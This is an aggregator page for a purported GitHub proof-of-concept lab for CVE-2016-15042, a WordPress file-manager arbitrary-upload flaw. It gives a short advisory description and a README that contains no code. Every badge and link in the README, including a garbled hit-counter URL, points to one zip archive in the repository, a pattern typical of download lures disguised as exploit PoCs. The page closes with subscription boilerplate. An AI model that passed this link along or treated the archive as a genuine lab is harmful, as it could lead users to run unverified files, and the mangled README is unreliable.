CVE-2016-15042 PoC — Frontend File Manager < 4.0 & N-Media Post Front-end Form < 1.1 & - Arbitrary File Upload

Source

https://github.com/Aditya43621/lab-cve-2016-15042

Associated Vulnerability

Title:Frontend File Manager < 4.0 & N-Media Post Front-end Form < 1.1 & - Arbitrary File Upload (CVE-2016-15042)
Description:The Frontend File Manager (versions < 4.0), N-Media Post Front-end Form (versions < 1.1) plugins for WordPress are vulnerable to arbitrary file uploads due to missing file type validation via the `nm_filemanager_upload_file` and `nm_postfront_upload_file` AJAX actions. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected sites server which may make remote code execution possible.

Description

🛠️ Validate and demonstrate CVE-2016-15042 with a Dockerized lab for unauthenticated file uploads in WordPress file managers.

Readme

<p align="center">
<a href="#"><img title="Rest-Api" src="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip Api Free-green?colorA=%23ff0000&colorB=%23017e40&style=for-the-badge"></a>
</p>
<p align="center">
<a href="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"><img title="Author" src="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"></a>
</p>
<p align="center">
<a href="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"><img title="Rating" src="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"></a>
</p>
<p align="center">
<a href="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"><img title="Followers" src="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"></a>
<a href="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"><img title="Stars" src="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"></a>
<a href="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"><img title="Forks" src="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"></a>
<a href="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"><img title="Watching" src="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"></a>
<a href="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip"><img src="https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip%3A%2F%https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip%2Finirey%2FRESTAPI&count_bg=%2379C83D&title_bg=%23555555&https://raw.githubusercontent.com/Aditya43621/lab-cve-2016-15042/master/acaciin/lab-cve-2016-15042.zip%2300FF6D&title=hits&edge_flat=false"/></a>
</p>

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!